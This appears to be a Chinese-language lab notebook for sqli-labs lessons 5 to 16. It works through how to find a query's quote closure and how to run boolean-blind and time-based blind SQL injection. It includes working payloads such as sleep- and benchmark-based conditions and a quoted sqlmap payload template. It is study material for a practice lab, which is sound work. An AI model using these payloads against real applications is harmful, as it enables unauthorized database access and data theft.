SQL报错注入
注入的方法
sqli-labs
的1,2,3,4课都可以使用以下四种来进行注入数据:
- Union select
- Error based
- Blind based
- Time blind based
对应的可以使用sqlmap.py --technique
上面首字母大写来指定相应的注入类型。
Less-5
第五课首先排除union注入,因为页面无法显示数据,最后我还是看了网页源代码才注入的。
我发现sqlmap在每次注入的时候都会先尝试确定当前变量是被那种包含,然后在payload里面闭合,这样可以确保整个语句的完整性。 要么确定当前语句完全闭合,要么注释掉后面的语句,确保闭合。
Less-7
报错和union查询都出不了数据,只能进行盲注。bool blind和time blind。前面闭合可以使用'
或者')
。
Less-8
根据页面返回,只能盲注。那么先判断变量是被什么包含的。当输入'
的时候页面会改变,在后面加上-- -
页面又正常,暂且判断变量是被单引号包含的。然后再这样id=1' and 1=1 -- -1
,页面正常,当and
后面为1=0
的时候页面不正常,所以这里可以变成布尔盲注或者时间盲注。关键点在分析变量是被神码包含。
Less-9
不小心看到了源代码,只能使用时间盲注,这种不管输入什么页面都是这样,可以尝试时间盲注id=1' and if(mid(version(),1,1)=5,sleep(4),0) -- -
。使用sqlmap.py
测试结果可以发现可以使用布尔盲注和时间盲注,看了源代码才发现的确可以使用布尔盲注,但是凭肉眼看不到页面的变化。
那么这里是不是就告诉我们,有时候看到的不一定正确还是要采用统计的方法来比较页面的异同。
这里有个Paper,是使用哪一种算法来检测布尔盲注,sqlmap采用了在去除动态内容之后计算比率的方法,回头需要看下这里的实现方法。
- https://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf
- http://zone.wooyun.org/content/26504
Less-10
在经过less-9被坑了下之后有点慌。到现在基本的测试规则就是先测试被哪种符号闭合,一半来说是这么几个'
,"
,')
,")
,之后加上测试语句1=1
,1=0
。看当前页面是否有变化,如果都没有那么就测试时间盲注。
Less-10存在时间盲注,使用"
闭合,在使用sqlmap之后还存在布尔盲注,果然和less-9一样坑。
Less-11
网页提示报错注入,在用户名和密码那里可以使用burp截获Post数据。变量是被单引号包含,可以使用union,error,time-based这三种注入。其中time-based的时候有以下个问题:
mysql> select 1=0 and if(mid(version(),1,1)=5,sleep(5),0);
+---------------------------------------------+
| 1=0 and if(mid(version(),1,1)=5,sleep(5),0) |
+---------------------------------------------+
| 0 |
+---------------------------------------------+
1 row in set (0.00 sec)
mysql> select 1=0 and (select*from(select sleep(5))x);
+-----------------------------------------+
| 1=0 and (select*from(select sleep(5))x) |
+-----------------------------------------+
| 0 |
+-----------------------------------------+
1 row in set (5.00 sec)
mysql> select mid(version(),1,1);
+--------------------+
| mid(version(),1,1) |
+--------------------+
| 5 |
+--------------------+
1 row in set (0.00 sec)
当前面条件为假的时候,如果直接使用and if(mid(version(),1,1)=5,sleep(5),0)
是不会睡5s。当and
替换为xor
或者sleep(5)替换为benchmark(1000000,sha1(1))
就会发生时间延迟,再或者使用sqlmap的payload:AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
Less-12
先判断变量闭合,不管采用' -- -
," -- -
,') -- -
,") -- -
,页面都是正常的,后面再加上报错的语句,")
的时候会爆出数据,所以变量是被")
包含的。另外可以使用union,error,time-based这三种。
Less-13
同上,使用')
包含
Less-14
同上,使用"
包含
Less-15
只测试了passwd,存在时间盲注,单引号闭合。
Less-16
同上,使用")
包含